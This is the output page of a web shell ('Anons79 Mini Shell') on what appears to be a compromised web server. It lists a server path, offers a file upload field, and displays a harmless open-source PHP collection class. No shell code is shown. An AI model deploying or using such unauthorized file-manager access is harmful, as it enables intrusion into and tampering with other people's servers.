Anons79 Mini Shell

Directory : /home/aplikasiposinfo/www/hayyumart.com/vendor/phar-io/manifest/src/values/
Upload File :
Current File : /home/aplikasiposinfo/www/hayyumart.com/vendor/phar-io/manifest/src/values/AuthorCollection.php

<?php
/*
 * This file is part of PharIo\Manifest.
 *
 * (c) Arne Blankerts <[email protected]>, Sebastian Heuer <[email protected]>, Sebastian Bergmann <[email protected]>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace PharIo\Manifest;

class AuthorCollection implements \Countable, \IteratorAggregate {
    /**
     * @var Author[]
     */
    private $authors = [];

    public function add(Author $author) {
        $this->authors[] = $author;
    }

    /**
     * @return Author[]
     */
    public function getAuthors() {
        return $this->authors;
    }

    /**
     * @return int
     */
    public function count() {
        return count($this->authors);
    }

    /**
     * @return AuthorCollectionIterator
     */
    public function getIterator() {
        return new AuthorCollectionIterator($this);
    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]